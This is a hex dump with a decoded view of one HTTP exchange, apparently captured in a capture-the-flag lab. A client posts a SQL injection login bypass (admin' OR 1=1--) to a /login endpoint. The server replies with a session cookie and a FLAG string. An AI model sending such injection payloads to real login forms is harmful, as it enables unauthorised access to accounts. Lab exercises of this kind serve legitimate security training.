00000000  50 4f 53 54 20 2f 6c 6f  67 69 6e 20 48 54 54 50  |POST /login HTTP|
00000010  2f 31 2e 31 0d 0a 48 6f  73 74 3a 20 31 30 2e 36  |/1.1..Host: 10.6|
00000020  30 2e 31 2e 31 3a 38 30  38 30 0d 0a 43 6f 6e 74  |0.1.1:8080..Cont|
00000030  65 6e 74 2d 4c 65 6e 67  74 68 3a 20 32 36 0d 0a  |ent-Length: 26..|
00000040  0d 0a 75 73 65 72 3d 61  64 6d 69 6e 27 20 4f 52  |..user=admin' OR|
00000050  20 31 3d 31 2d 2d 26 70  61 73 73 3d 78            | 1=1--&pass=x   |
00000060  0d 0a                                               |..              |
00000070  48 54 54 50 2f 31 2e 31  20 33 30 32 20 46 6f 75  |HTTP/1.1 302 Fou|
00000080  6e 64 0d 0a 53 65 74 2d  43 6f 6f 6b 69 65 3a 20  |nd..Set-Cookie: |
00000090  73 65 73 73 69 6f 6e 3d  65 79 4a 68 62 47 63 69  |session=eyJhbGci|
000000a0  4f 69 4a 49 55 7a 49 31  4e 69 4a 39 0d 0a 0d 0a  |OiJIUzI1NiJ9....|
000000b0  46 4c 41 47 7b 34 6c 77  34 79 35 5f 33 35 63 34  |FLAG{4lw4y5_35c4|
000000c0  70 33 7d                                            |p3}             |

→ CLIENT  POST /login HTTP/1.1
  Host: 10.60.1.1:8080
  Content-Length: 26

  user=admin' OR 1=1--&pass=x

← SERVER  HTTP/1.1 302 Found
  Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9

  FLAG{4lw4y5_35c4p3}